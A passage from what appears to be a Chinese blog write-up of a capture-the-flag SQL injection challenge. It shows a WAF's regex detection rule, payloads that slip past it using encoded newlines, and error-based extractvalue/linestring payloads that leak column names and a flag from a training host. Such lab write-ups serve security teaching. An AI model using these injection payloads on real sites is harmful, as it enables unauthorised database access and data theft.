      username=' union%0aselect 1,passwd,3,4%0afrom%0awaf03 -- -
      
  4. 新手法查询

    1. 关键源代码:

      [^\\{\\s]{1}(\\s|\\b)+(?:select\\b|update\\b|insert(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+into\\b).+?(?:from\\b|set\\b)|[^\\{\\s]{1}(\\s|\\b)+(?:create|delete|drop|truncate|rename|desc)(?:(\\/\\*.*?\\*\\/)|(\\s)|(\\+))+(?:table\\b|from\\b|database\\b)|into(?:(\\/\\*.*?\\*\\/)|\\s|\\+)+(?:dump|out)file\\b|\\bsleep\\([\\s]*[\\d]+[\\s]*\\)|benchmark\\(([^\\,]*)\\,([^\\,]*)\\)|(?:declare|set|select)\\b.*@|union\\b.*(?:select|all)\\b|(?:select|update|insert|create|delete|drop|grant|truncate|rename|exec|desc|from|table|database|set|where)\\b.*(charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|mid|sub|substring|oct|reverse|right|unhex)\\(|(?:master\\.\\.sysdatabases|msysaccessobjects|msysqueries|sysmodules|mysql\\.db|sys\\.database_name|information_schema\\.|sysobjects|sp_makewebtask|xp_cmdshell|sp_oamethod|sp_addextendedproc|sp_oacreate|xp_regread|sys\\.dbms_export_extension)
      
    2. 查数据库名

      1.  在当前数据表中存在字段id
         使用 linestring ,如果我们传入的是存在的字段的话,就会爆出已知库、表、列。
         也就是说我们可以爆破列名,这样对应数据库名,表名就会出来
         ?id=' || linestring(id) -- -
        
    3. 查字段名

      1. payload

        http://kkl9stuamxybtxyh.ctfw.edu.sangfor.com.cn/?id=' || extractvalue(1,concat(0x7e,(select * from (select * from users as a join users as b using(id,password,username))as c limit 0,1)))%23
        
    4. 查数据

      1. payload

        http://kkl9stuamxybtxyh.ctfw.edu.sangfor.com.cn/?id=' || (extractvalue(1,concat(0x7e,(select b.flag from (select 1,2,3,flag from users limit 1) as b),0x7e))) -- -
        
  • 25
    点赞
  • 35
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CongSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值